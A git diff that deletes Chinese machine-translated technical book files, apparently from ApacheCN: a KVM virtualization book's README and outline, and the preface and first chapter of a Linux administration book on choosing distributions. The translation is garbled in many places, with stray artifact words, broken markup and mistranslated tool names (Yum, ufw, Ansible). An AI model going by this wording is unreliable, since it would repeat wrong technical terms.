Enterprise Linux 7 的 DM-多路径配置:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/dm_multipath/mpio_setup](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/dm_multipath/mpio_setup) -* Red Hat Enterprise Linux 8 的 DM-多路径配置:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/pdf/configuring_device_mapper_multipath/Red_Hat_Enterprise_Linux-8-Configuring_device_mapper_multipath-en-US.pdf](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/pdf/configuring_device_mapper_multipath/Red_Hat_Enterprise_Linux-8-Configuring_device_mapper_multipath-en-US.pdf) -* 对 Kibana/Grafana 使用快照:[https://github.com/parvez/snapshot](https://github.com/parvez/snapshot) -* 使用 ElastantAlert:[HTTPS://github.com/yelp/elastalert](https://github.com/Yelp/elastalert) -* 使用弹性堆栈功能(以前称为 X-Pack):[https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-xpack.html](https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-xpack.html) -* OpenStack 网络故障排除:[https://docs.openstack.org/operations-guide/ops-network-troubleshooting.html](https://docs.openstack.org/operations-guide/ops-network-troubleshooting.html) -* 开放式堆栈计算故障排除:[https://docs.openstack.org/ocata/admin-guide/support-compute.html](https://docs.openstack.org/ocata/admin-guide/support-compute.html) -* OpenStack 对象存储故障排除:[https://docs.openstack.org/ocata/admin-guide/objectstorage-troubleshoot.html](https://docs.openstack.org/ocata/admin-guide/objectstorage-troubleshoot.html) -* OpenStack 数据块存储故障排除:[https://docs.openstack.org/ocata/admin-guide/blockstorage-troubleshoot.html](https://docs.openstack.org/ocata/admin-guide/blockstorage-troubleshoot.html) -* OpenStack 共享文件系统故障排除:[https://docs.openstack.org/ocata/admin-guide/shared-file-systems-troubleshoot.html](https://docs.openstack.org/ocata/admin-guide/shared-file-systems-troubleshoot.html) -* 裸机开放堆栈服务故障排除:[https://docs.openstack.org/ocata/admin-guide/baremetal.html#troubleshooting](https://docs.openstack.org/ocata/admin-guide/baremetal.html#troubleshooting)* \ No newline at end of file diff --git a/docs/master-kvm-virtual/README.md b/docs/master-kvm-virtual/README.md deleted file mode 100644 index d3539eb0..00000000 --- a/docs/master-kvm-virtual/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 KVM 虚拟化 - -> 原文:[Mastering KVM Virtualization](https://libgen.rs/book/index.php?md5=937685F0CEE189D5B83741D8ADA1BFEE) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/master-kvm-virtual/SUMMARY.md b/docs/master-kvm-virtual/SUMMARY.md deleted file mode 100644 index fcbfa39a..00000000 --- a/docs/master-kvm-virtual/SUMMARY.md +++ /dev/null @@ -1,22 +0,0 @@ -+ [精通 KVM 虚拟化](README.md) -+ [零、前言](00.md) -+ [第一部分:KVM 虚拟化基础知识](sec1.md) - + [一、了解 Linux 虚拟化](01.md) - + [二、将 KVM 作为虚拟化解决方案](02.md) -+ [第二部分:用于虚拟机管理的 libvirt 和 ovirt](sec2.md) - + [三、安装 KVM 虚拟机管理器、libvirt 和 oVirt](03.md) - + [四、Libvirt 网络](04.md) - + [五、Libvirt 存储](05.md) - + [六、虚拟显示设备和协议](06.md) - + [七、虚拟机:安装、配置和生命周期管理](07.md) - + [八、创建和修改虚拟机磁盘、模板和快照](08.md) -+ [第三部分:KVM 的自动化、自定义和编排](sec3.md) - + [九、使用 cloud-init 定制虚拟机](09.md) - + [十、自动化 Windows 访客部署和自定义](10.md) - + [十一、用于编排和自动化的可解析和脚本](11.md) -+ [第四部分:可伸缩性、监控、性能调优和故障排除](sec4.md) - + [十二、使用 OpenStack 横向扩展 KVM](12.md) - + [十三、使用 AWS 横向扩展 KVM](13.md) - + [十四、监控 KVM 虚拟化平台](14.md) - + [十五、KVM 的性能调整和优化](15.md) - + [十六、KVM 平台故障排除指南](16.md) diff --git a/docs/master-kvm-virtual/sec1.md b/docs/master-kvm-virtual/sec1.md deleted file mode 100644 index a34f4464..00000000 --- a/docs/master-kvm-virtual/sec1.md +++ /dev/null @@ -1,8 +0,0 @@ -# 第一部分:KVM 虚拟化基础知识 - -第 1 部分将让您深入了解 Linux 虚拟化中的主流技术及其相对于其他虚拟化解决方案的优势。 我们将讨论 libvirt、QEMU 和 KVM 的重要数据结构和内部实现。 - -本书的这一部分包括以下章节: - -* [*第 1 章*](01.html#_idTextAnchor016),*了解 Linux 虚拟化* -* [*第 2 章*](02.html#_idTextAnchor029),*KVM 作为虚拟化解决方案* \ No newline at end of file diff --git a/docs/master-kvm-virtual/sec2.md b/docs/master-kvm-virtual/sec2.md deleted file mode 100644 index fb75f38d..00000000 --- a/docs/master-kvm-virtual/sec2.md +++ /dev/null @@ -1,12 +0,0 @@ -# 第二部分:用于虚拟机管理的 libvirt 和 ovirt - -在本书的这一部分中,您将全面了解如何使用 libvirt 安装、配置和管理 KVM 虚拟机管理器。 您将获得 KVM 基础架构组件的高级知识,例如网络、存储和虚拟硬件配置。 作为学习过程的一部分,您还将全面了解虚拟机生命周期管理和虚拟机迁移技术,以及虚拟机磁盘管理。 在第 2 部分结束时,您将非常熟悉 libvirt 命令行管理工具`virsh`和 GUI 工具`virt-manager`。 - -本书的这一部分包括以下章节: - -* [*第 3 章*](03.html#_idTextAnchor049),*安装 KVM 虚拟机管理器、libvirt 和 ovirt* -* [*第 4 章*](04.html#_idTextAnchor062),*Libvirt 网络* -* [*第 5 章*](05.html#_idTextAnchor079),*Libvirt 存储* -* [*第 6 章*](06.html#_idTextAnchor108),*虚拟显示设备和协议* -* [*第 7 章*](07.html#_idTextAnchor125),*虚拟机安装、配置和生命周期管理* -* [*第 8 章*](08.html#_idTextAnchor143),*创建和修改虚拟机磁盘、模板和快照* \ No newline at end of file diff --git a/docs/master-kvm-virtual/sec3.md b/docs/master-kvm-virtual/sec3.md deleted file mode 100644 index 061e79ed..00000000 --- a/docs/master-kvm-virtual/sec3.md +++ /dev/null @@ -1,9 +0,0 @@ -# 第三部分:KVM 的自动化、自定义和编排 - -在本书的这一部分中,您将全面了解如何使用`cloud-init`和`cloudbase-init`自定义 KVM 虚拟机。 本部分还介绍了如何利用 Ansible 的自动化功能来管理和编排 KVM 基础设施。 - -本书的这一部分包括以下章节: - -* [*第 9 章*](09.html#_idTextAnchor165),*使用 cloud-init 自定义虚拟机* -* [*第 10 章*](10.html#_idTextAnchor182),*自动化 Windows 访客部署和自定义* -* [*第 11 章*](11.html#_idTextAnchor191),*用于业务流程和自动化的可解析和脚本编写* \ No newline at end of file diff --git a/docs/master-kvm-virtual/sec4.md b/docs/master-kvm-virtual/sec4.md deleted file mode 100644 index 65427cb8..00000000 --- a/docs/master-kvm-virtual/sec4.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第四部分:可伸缩性、监控、性能调优和故障排除 - -在本书的这一部分中,您将了解基于 KVM 的虚拟机和虚拟机管理器的可扩展性、监控、高级性能调优和故障排除。 - -本书的这一部分包括以下章节: - -* [*第 12 章*](12.html#_idTextAnchor209),*使用 OpenStack 扩展 KVM* -* [*第 13 章*](13.html#_idTextAnchor238),*使用 AWS 横向扩展 KVM* -* [*第 14 章*](14.html#_idTextAnchor259),*监控 KVM 虚拟化平台* -* [*第 15 章*](15.html#_idTextAnchor276),*KVM 的性能调整和优化* -* [*第 16 章*](16.html#_idTextAnchor302),*KVM 平台故障排除指南* \ No newline at end of file diff --git a/docs/master-linux-admin/00.md b/docs/master-linux-admin/00.md deleted file mode 100644 index 3bd29bc7..00000000 --- a/docs/master-linux-admin/00.md +++ /dev/null @@ -1,117 +0,0 @@ -# 零、前言 - -近年来,Linux 在各种各样的计算平台上变得越来越流行,包括桌面计算机、企业服务器、智能手机、物联网设备以及本地和云基础设施。 因此,相关管理任务、配置管理和 DevOps 工作负载的复杂性也大大增加了。 现在,也许比以往任何时候都更需要 Linux 管理技能。 - -但是,现代 Linux 管理员的培养过程中存在着一种进化过程。 繁琐的手工管理操作逐渐被精心编排的自动化工作流所取代。 一次性的魔法命令和脚本被按需调用的声明性清单所取代,同时根据计算需求向上或向下扩展系统配置。 昨天的 Linux 管理员逐渐变成了 DevOps 角色。 - -关于 Linux 管理的书籍数不胜数,其中一些在未来几年仍将具有重要意义。 但是*精通 Linux 管理*是在管理员转 devops 的情况下编写的。 我们将从处理日常 Linux 管理任务中最常见领域的基本概念和命令开始。 您将学习如何在桌面 PC 和虚拟机上安装 Linux。 接下来,我们将向您介绍 Linux 文件系统、包管理器、用户和组、进程和守护进程。 在简要介绍了网络和应用安全之后,我们将从本地部署跳到云计算,使用 Docker 和 Kubernetes 探索集装箱工作负载。 通过在 AWS 和 Azure 中部署 Linux,我们将在云中漫步。 您将使用 EKS 和 AKS(分别是 AWS 和 Azure 的 Kubernetes 结构)进行亲身应用部署。 最后,我们以 Ansible 和配置管理自动化结束了我们的旅程,带我们回到以 devops 为中心的 Linux 视图。 - -我们只能希望,在本书的结尾,您将成为一个熟练的 Linux 管理员,具有通用的 DevOps 思维。 - -# 这本书是写给谁的 - -本书的目标读者包括具有初级到中级 Linux 管理技能的用户,他们不羞于卷起袖子接触 Linux 命令行终端,使用脚本和 CLI 工具,在本地和云中工作。 对于这本书的大部分,一台普通的台式电脑或笔记本电脑就足够了。 有些章节,比如那些探索 Kubernetes 和 Ansible 的章节,可能需要一个相对强大的机器来设置相关的实验室环境。 - -公共云部分需要 AWS 和 Azure 帐户,如果你想跟随实际的例子。 两家云服务提供商都提供免费的订阅层,我们强烈鼓励您注册他们的服务。 - -# 这本书的内容 - -[*第一章*](01.html#_idTextAnchor014),*安装 Linux*,提供了在个人计算机或虚拟机上安装 Linux 的实用指南。 本章包括使用 Ubuntu 和 RHEL/CentOS Linux 发行版的实践研讨会。 - -[*第二章*](02.html#_idTextAnchor036),*Linux 文件系统*探讨了 Linux shell 和文件系统,以及操作文件和目录的相关命令。 - -[*第三章*](03.html#_idTextAnchor056),*Linux 软件管理,介绍了一些最常见的 Linux 软件包管理器,包括**DEB**、【显示】RPM,**的**,【病人】百胜,**提前**,【t16.1】Flatpak。* - - *第四章,*管理用户和组*,介绍了如何处理用户和组以及管理相关的系统权限。 - -[*第五章*](05.html#_idTextAnchor085),*与进程,守护进程和信号一起工作*,深入探讨了 Linux 进程和守护进程以及相关的进程间通信机制。 - -第六章[](06.html#_idTextAnchor111)*,*使用磁盘和文件系统,介绍了一些最常见的 Linux 文件系统类型,如【T6 Ext4】,【显示】XFS,**btrfs**。 本章还涵盖了 Linux 中的磁盘、分区和逻辑卷管理。** - - **[*第 7 章*](07.html#_idTextAnchor126),*Linux 网络*,是关于 Linux 网络内部的简明入门,包括 OSI 和 TCP/IP 模型,网络协议和服务。 本章还简要介绍了网络安全。 - -[*第八章*](08.html#_idTextAnchor152),*配置 Linux 服务器,探讨一些最常见的 Linux 网络服务器和服务,如**DNS**,【显示】DHCP,**NFS**,【病人】Samba,**FTP 和 web 服务器。*** - - *[*第九章*](09.html#_idTextAnchor157),*保护 Linux*,介绍了 Linux 应用安全框架,包括**SELinux**和**AppArmor**。 本章还包括不同的防火墙和防火墙经理,如 Netfilter**、【病人】iptables**,**nftables**,【t16.1】firewalld,**地头**。 - -[*第十章*](10.html#_idTextAnchor175),*灾难恢复、诊断和故障排除*,提供了一个高度概括的 Linux 灾难恢复和故障诊断实践,包括 backup-restore 和故障排除常见系统问题。 - -[*第 11 章*](11.html#_idTextAnchor192),*与容器和虚拟机一起工作*,探讨了虚拟和容器化 Linux 环境,重点关注不同的 hypervisor 和 Docker Engine。 - -[*第十二章*](12.html#_idTextAnchor212),*云计算要点*,是对云技术的简要概述,描述了 SaaS、PaaS、IaaS 解决方案和服务提供商。 - -[*第 13 章*](13.html#_idTextAnchor239),*使用 AWS 和 Azure 部署到云*,通过 AWS EC2 实例和 Azure 虚拟机来查看 Linux 在云中的部署。 - -[*第 14 章*](14.html#_idTextAnchor252),*使用 Kubernetes 部署应用*,提供了一个使用 Kubernetes on-prem 和在云与 EKS 和 AKS 的实践指南。 - -[*第 15 章*](15.html#_idTextAnchor268),*使用 Ansible 实现工作流自动化*,探索了使用 Ansible 实现自动化配置管理工作负载。 - -# 为了最大限度地了解这本书 - -我们在整本书中都使用 Ubuntu 20.04 LTS 和 CentOS 8,我们建议你也这样做。 我们还希望大多数命令行示例和代码能够在本书出版后的 Ubuntu 新版本中使用。 随着 CentOS 8 在 2021 年 12 月结束支持,你仍然可以使用 Fedora 或 CentOS Stream 作为高度相似的发行版。 您还可以使用 Red Hat 开发人员帐户免费试用 RHEL 发行版。 - -**如果你正在使用这本书的数字版本,我们建议你自己输入代码或通过 GitHub 存储库访问代码(链接在下一节中)。 这样做将帮助您避免任何与复制和粘贴代码相关的潜在错误。** - -# 下载示例代码文件 - -你可以从 GitHub 上的[https://github.com/PacktPublishing/Mastering-Linux-Administration](https://github.com/PacktPublishing/Mastering-Linux-Administration)下载这本书的示例代码文件。 如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还可以在[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)中找到丰富的图书和视频目录中的其他代码包。 检查出来! - -# 下载彩色图片 - -我们还提供了一个 PDF 文件与彩色图像的屏幕截图/图表使用在这本书。 你可以在这里下载:[http://www.packtpub.com/sites/default/files/downloads/9781789954272_ColorImages.pdf](http://www.packtpub.com/sites/default/files/downloads/9781789954272_ColorImages.pdf)。 - -# 使用的约定 - -本书中使用了许多文本约定。 - -`Code in text`:表示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄。 下面是一个示例:“最著名的磁盘备份命令之一是`dd`命令。” - -一段代码设置如下: - -```sh -(parted) print -Error: /dev/sda: unrecognised disk label -Model: ATA ST1000LM048-2E71 (scsi) -Disk /dev/sda: 1000GB -Sector size (logical/physical): 512B/4096B -Partition Table: unknown -``` - -当我们希望提请您注意代码块的特定部分时,相关的行或项以粗体显示: - -```sh -exit -sudo unmount /mnt -``` - -任何命令行输入或输出都写如下: - -```sh -man vmstat -``` - -**粗体**:表示新词条、重要词汇或在屏幕上看到的词汇。 例如,菜单或对话框中的单词会像这样出现在文本中。 下面是一个例子:“从屏幕上的窗口中选择**Try Ubuntu**选项。” - -小贴士或重要提示 - -出现这样的。 - -# 联系 - -我们欢迎读者的反馈。 - -**一般反馈**:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并发送电子邮件至[customercare@packtpub.com](mailto:customercare@packtpub.com)。 - -**Errata**:尽管我们已尽一切努力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.packtpub.com/support/errata](http://www.packtpub.com/support/errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上发现我们的作品以任何形式的非法拷贝,请提供我们的位置地址或网址。 请通过[copyright@packt.com](mailto:copyright@packt.com)与我们联系,并附上资料链接。 - -**如果你有兴趣成为一名作家**:如果你有一个你擅长的话题,并且你有兴趣写作或写一本书,请访问[authors.packtpub.com](http://authors.packtpub.com)。 - -# 评论 - -请留下评论。 一旦你阅读和使用这本书,为什么不在你购买它的网站上留下评论? 潜在的读者可以看到并使用您的公正意见来做出购买决定,我们在 Packt 可以理解您对我们的产品的看法,我们的作者可以看到您对他们的书的反馈。 谢谢你! - -更多关于 packt.com 的信息,请访问[packt.com](http://packt.com)。**** \ No newline at end of file diff --git a/docs/master-linux-admin/01.md b/docs/master-linux-admin/01.md deleted file mode 100644 index 516ea45c..00000000 --- a/docs/master-linux-admin/01.md +++ /dev/null @@ -1,944 +0,0 @@ -# 一、安装 Linux - -近年来,Linux 作为服务器和桌面计算平台的首选操作系统的采用显著增加。 从企业级服务器和大规模云基础设施到个人工作站和小型家用电器,Linux 已经成为广泛应用的一个无处不在的平台。 - -Linux 的流行(也许现在比以往任何时候都更流行)使日益增长的系统管理员和开发人员社区所急需的管理技能得到了关注。 在这本书中,我们采用一种实用的方法来实现 Linux 管理的基本要素,考虑到现代系统管理员、DevOps 或开发人员。 - -在第一章中,我们将引导您完成 Linux 的安装过程,可以在物理硬件(裸机)上安装,也可以使用**虚拟机**(**VM**)。 我们将通过几个案例研究进一步介绍如何根据功能需求选择 Linux 发行版。 在此过程中,我们将通过一些配置 GNOME 和 KDE 的实际例子向您介绍 Linux 图形用户界面。 最后,我们构建了一个适合我们日常计算需求的 Linux 工作站。 - -以下是本章的主题: - -* Linux 操作系统 -* Linux 发行版 -* 选择正确的 Linux 发行版 -* 安装 Linux -基础 -* **Windows 子系统 for Linux**(**WSL**) -* 安装 Linux 图形用户界面 -* 设置和使用 Linux 工作站 - -# 技术要求 - -本章将使用以下平台和技术: - -* Linux 发行版:Ubuntu Server, Ubuntu Desktop, CentOS -* Linux 包管理器:DEB、RPM -* 虚拟机 hypervisor: Oracle VM VirtualBox, VMware Workstation -* 虚拟机主机平台:Windows、macOS X -* Bash**命令行界面**(**CLI**) -* [https://github.com/](https://github.com/) - -# Linux 操作系统 - -Linux 是一个相对现代的操作系统,由 Linus Torvalds 在 1991 年创建,他当时是一个来自赫尔辛基的芬兰计算机科学学生。 Linux 最初是作为一个自由的、开放的源代码平台发布的,禁止商业性的再发布,最终在 1992 年采用了 GNU**General Public Licensing**(**GPL**)模型。 这一举措在其被开发者社区和商业企业广泛采用方面发挥了重要作用。 - -值得注意的是,自由软件基金会社区特别提到 Linux 操作系统(或发行版),因为**GNU/Linux**到强调 GNU 或自由软件的重要性。 - -Linux 最初是为基于 Intel x86 处理器的计算机架构设计的,后来被移植到各种各样的平台上,成为目前使用的最流行的操作系统之一。 - -Linux 的起源可以被认为是它强大的前身 Unix 的开放源代码替代品。 该系统是由 Ken Thompson 和 Dennis Ritchie 于 1969 年在 AT&T 贝尔实验室研究中心开发的商业级操作系统。 - -# Linux 发行版 - -一个 Linux 操作系统通常被称为**发行版**。 Linux 发行版(或**发行版**)是操作系统的安装包(通常是一个 ISO 映像),该操作系统在 Linux 内核上安装了一系列工具、库和附加软件包。 - -内核是计算机硬件和进程之间的核心接口,控制两者之间的通信并尽可能有效地管理底层资源。 - -与 Linux 内核捆绑在一起的软件集合通常包括引导加载程序、shell、包管理系统、图形用户界面以及各种软件实用程序和应用。 - -下面的图是一个通用 Linux 发行版架构的简化图: - -![Figure 1.1 – Simplified view of a generic Linux architecture](img/B13196_01_01.jpg) - -图 1.1 -通用 Linux 体系结构的简化视图 - -目前有数百种 Linux 发行版可用。 最受欢迎的是**Debian**,**Fedora**,**openSUSE**,**Arch Linux**,和【显示】Slackware,与其他 Linux 发行版【病人】或基于来自他们。 其中一些发行版被分为商业平台和社区支持的平台。 - -Linux 发行版之间的一个关键区别是它们使用的包管理系统和相关的 Linux 包格式。 我们将在后面的章节中详细讨论这个话题。 目前,重点是根据我们的需要选择正确的 Linux 发行版。 - -# 选择正确的 Linux 发行版 - -在选择基于各种功能需求的 Linux 发行版时,涉及到许多方面。 全面的分析将远远超出本章的范围。 然而,考虑以下几个要点可能有助于做出正确的决定: - -* 平台:在服务器、桌面或嵌入式平台之间的选择可能是选择 Linux 发行版的首要决定之一。 Linux 服务器平台和嵌入式系统通常配置了特定应用(如网络、HTTP、FTP、SSH 和电子邮件)所需的核心操作系统服务和基本组件,主要是为了性能和优化考虑。 另一方面,Linux 桌面工作站加载(或预加载)了相对大量的软件包,包括一个图形用户界面,以获得更友好的用户体验。 一些 Linux 发行版附带服务器和桌面口味(如 Ubuntu**、**Fedora**,和【显示】openSUSE),但大多数发行版有一个最小的操作系统,需要进行进一步的配置(等【病人】CentOS,和**Debian)。 通常,这样的发行版适合 Linux 服务器平台。 也有专门为桌面系统设计的 Linux 发行版,例如**基本操作系统**,**Pop! _OS**,或**Deepin**。 对于嵌入式系统,我们已经高度优化了 Linux 发行版,如**Raspbian**和**OpenWRT**,以容纳具有有限硬件资源的小型设备。**** -*** **基础设施**:今天,我们看到了大量的应用和服务器平台部署,从硬件和本地(本地)数据中心到管理程序、容器和云基础设施。 在将 Linux 发行版与任何这些类型的部署进行权衡时,应该考虑到所涉及的资源和成本。 例如,一个多 cpu、大内存和通常占用空间大的 Linux 实例在云中或托管基础设施的**虚拟专用服务器**(**VPS**)中运行的成本可能更高。 轻量级 Linux 发行版占用的资源更少,而且更容易在具有容器化工作负载和服务的环境中扩展(例如,使用 Kubernetes 和 Docker)。 大多数 Linux 发行版现在都为所有主要的公共云提供商提供了云映像(例如,Amazon AWS、Microsoft Azure 和谷歌计算引擎)。 可以在 Docker Hub([https://hub.docker.com](https://hub.docker.com))上下载用于各种 Linux 发行版的 Docker 容器映像。 有些 Docker 图像比其他的更大(更重)。 例如,**Ubuntu Server**Docker 映像比**Alpine Linux**Docker 映像要大得多,这可能会在选择一个发行版和另一个发行版时造成平衡。 另外,为了解决容器化工作流和服务的相对较新的转变,一些 Linux 发行版提供了其操作系统的精简版或更优化的版本,以支持底层应用基础设施。 例如,Fedora 提供了**Fedora CoreOS**(用于集装箱化工作流)和**Fedora IoT**(用于物联网生态系统)。 CentOS 有**原子**项目,作为一个精益的 CentOS 运行 Docker 容器。* **性能**:有争议的是,所有的 Linux 发行版都可以在 CPU、GPU、内存和存储方面调整到高性能基准。 性能应该与平台和应用选择密切相关。 电子邮件后端不能在树莓派上表现得很好,而媒体流服务器可以做得很好(带有一些外部存储)。 还应该考虑调优性能的配置工作。 **CentOS**,**Debian**,和**Ubuntu**都带有的服务器和桌面版本。 服务器版本可以很容易地针对特定的应用或服务进行定制,只需将软件包限制为那些对应用至关重要的软件包。 为了进一步提高性能,一些会重新编译一个轻量级的 Linux 发行版(例如,**Gentoo**),以受益于内核中针对特定子系统(例如,网络堆栈或用户权限)的编译器级优化。 与其他标准一样,基于某些应用或平台性能选择 Linux 发行版是一种平衡行为,大多数时候,普通的 Linux 发行版会表现得非常好。* **Security**: When considering security, we have to keep in mind that a system is as secure as its weakest link. An insecure application or system component would put the entire system at risk. Therefore, the security of a Linux distribution should be scrutinized in close relation to the related application and platform environment. We can talk about *desktop security* for a Linux distro serving as a desktop workstation, for example, with the user browsing the internet, downloading media, installing various software packages, and running different applications. The safe handling of all these operations (against malware, viruses, and intrusions) would make for a good indicator of how secure a system can be. There are Linux distros that are highly specialized in application security and isolation, well suited for desktop use: **Qubes OS**, **Kali Linux**, **Whonix**, **Tails**, and **Parrot Security OS**. Some of these distributions are developed for penetration testing and security research. - - 另一方面,我们可以考虑 Linux 服务器发行版的*服务器安全性*方面。 在这种情况下,使用最新的存储库、包和组件进行定期的操作系统更新将大大提高系统的安全性。 删除未使用的面向网络的服务和配置更严格的防火墙规则是减少可能的攻击面的进一步步骤。 大多数 Linux 发行版都很好地配备了所需的工具和服务,以适应上述要求。 选择与*频繁发行版*和*稳定升级或*【显示】发布周期通常是第一个安全平台的先决条件(例如,**Centos**,【病人】RHEL,**Ubuntu LTS**,或【t16.1】SUSE Linux 企业)。 - - * **可靠性**:如果 Linux 发行版的发布周期很长,并且每个发行版中都添加了相对大量的新代码,那么这些发行版通常不太稳定。 对于这样的发行版,选择一个*稳定的*版本是必要的。 例如,Fedora 有快速的版本,是发展最快的 Linux 平台之一。 然而,我们不应听信谣言,声称 Fedora 或其他类似的快速发展的 Linux 发行版不那么可靠。 别忘了,现在最可靠的 Linux 发行版之一,**Red Hat Enterprise Linux**(**RHEL**),是从 Fedora 衍生而来的。** - - **选择 Linux 发行版并没有什么神奇的公式。 在大多数情况下,平台(服务器或桌面)的选择结合前面提到的一些数据点和一些个人偏好将决定一个 Linux 发行版。 对于生产级环境,前面列举的大多数标准都变得非常关键,我们选择的 Linux 平台的可用选项将减少到少数经过行业验证的解决方案。 在下一节中,我们将列举一些最流行的 Linux 发行版。 - -## 常用 Linux 发行版 - -本节总结了撰写本文时最流行和最常见的 Linux 发行版,重点介绍了它们的包管理器。 这些发行版大多数都是免费的开源平台。 他们的商业等级的变化,如果有的话,被注意到。 - -### CentOS and RHEL - -CentOS 及其衍生产品使用**RPM**作为其包管理器。 CentOS 基于开源的 Fedora 项目。 它适用于服务器和工作站。 RHEL 是 CentOS 的一个商业级版本,旨在成为一个长期支持的稳定平台。 - -### Debian - -Debian 及其大多数衍生物的包管理器是**Debian 包**(**DPKG**)。 Debian 的发布速度比其他 Linux 发行版(如 Linux Mint 或 Ubuntu)慢得多,但它相对更稳定。 - -### Ubuntu - -Ubuntu 使用**高级包工具**(**APT**)和 DKPG 作为包的管理器。 Ubuntu 是最流行的 Linux 发行版之一,每 6 个月发布一次,而更稳定的**长期支持**(**LTS**)每隔一年发布一次。 - -### Linux Mint - -Linux Mint 使用 APT 作为其包管理器。 Linux Mint 建立在 Ubuntu 之上,它最适合桌面使用,比 Ubuntu 的内存使用更少(使用的是肉桂桌面环境,与 Ubuntu 的 GNOME 相比)。 还有一个 Linux Mint 版本直接构建在 Debian 之上,称为**Linux Mint Debian Edition**(**LMDE**)。 - -### openSUSE - -openSUSE 使用**RPM**,**Yet another Setup Tool**(**YaST**),and**Zypper**作为 package 的管理器。 openSUSE 是一个前沿的 Linux 发行版,既适合桌面环境,也适合服务器环境。 SUSE Linux Enterprise Server 为商用级平台。 在 Ubuntu 出现之前,openSUSE 被认为是最友好的桌面 Linux 发行版之一。 - -重要提示 - -在本书中,我们主要关注两个 Linux 发行版,它们广泛用于社区和商业部署:**Ubuntu**和**CentOS**。 - -下面一节将介绍一些实际操作的用例,在这些用例中,我们根据特定的功能需求选择正确的 Linux 发行版。 - -## Linux 发行版-一个实用指南 - -以下用例的灵感来自于现实世界的问题,主要取自作者自己在软件工程领域的经验。 这些场景中的每一个都提出了为这项工作选择正确的 Linux 发行版的挑战。 - -### 案例研究-开发工作站 - -这个案例研究是基于以下场景的,从软件开发人员的角度来看: - -我是一个后台/前端开发人员,主要用 Java、Node.js、Python 和 Golang 编写,主要使用 IntelliJ 和 VS Code 作为我的主要 IDE。 我的开发环境大量使用 Docker 容器(构建和部署),我偶尔使用 vm(使用 VirtualBox)在本地部署和测试我的代码。 我需要一个健壮和多功能的开发平台。 - -#### 功能需求 - -需求建议使用一个相对强大的日常开发平台,无论是 PC/台式机还是笔记本电脑。 开发人员依赖本地资源来部署和测试代码(例如,Docker 容器和 vm),如果在运行中,可能经常在脱机(飞行模式)环境中进行。 - -#### 系统需求 - -系统将主要使用 Linux 桌面环境和窗口管理器,在**集成开发环境**(**IDE**)和终端窗口之间频繁切换上下文。 IDE、Docker、管理程序(VirtualBox)和工具所需的软件包应该随时可以从开源或商业供应商那里获得,最好总是最新的,并且只需要最小的安装和定制工作。 - -#### Linux 发行版 - -这里的选择将是**Ubuntu 桌面长期支持**(**LTS**)平台。 Ubuntu LTS 是相对稳定的,几乎可以在任何硬件平台上运行,而且它的硬件驱动程序大多是最新的。 所需应用和工具的软件包通常是可用的、稳定的,并经常更新。 Ubuntu LTS 是一款企业级、高成本、安全的操作系统,适用于组织和家庭用户。 - -### 案例研究-安全的 web 服务器 - -本案例研究基于从 DevOps 工程师的角度提出的以下场景: - -我正在寻找一个运行安全的、相对轻量级的企业级 web 服务器的健壮平台。 这个 web 服务器处理 HTTP/SSL 请求,在将请求路由到其他后端 web 服务器、网站和 API 端点之前卸载 SSL。 不需要负载平衡特性。 - -#### 功能需求 - -当谈到开源、安全、企业级的 web 服务器时,首选通常是 NGINX、Apache HTTP Server、Node.js、Apache Tomcat 和 Lighttpd。 在不深入选择 web 服务器的细节的情况下,让我们假设我们选择 Apache HTTP 服务器。 它具有最先进的 SSL/TLS 支持,出色的性能,并且相对容易配置。 - -我们将此 web 服务器部署在 VPS 环境、本地(*本地*)数据中心或公共云中。 部署形式因素可以是 VM 或 Docker 容器。 我们正在寻找一个相对低占用空间的企业级 Linux 平台。 - -#### Linux 发行版 - -我们的选择是**CentOS**。 大多数的时候,CentOS 和 Apache HTTP 服务器是完美的匹配。 CentOS 是相对轻量级的,只提供了基本的服务器组件和一个操作系统网络堆栈。 在私有和公共云供应商中,它可以作为 VPS 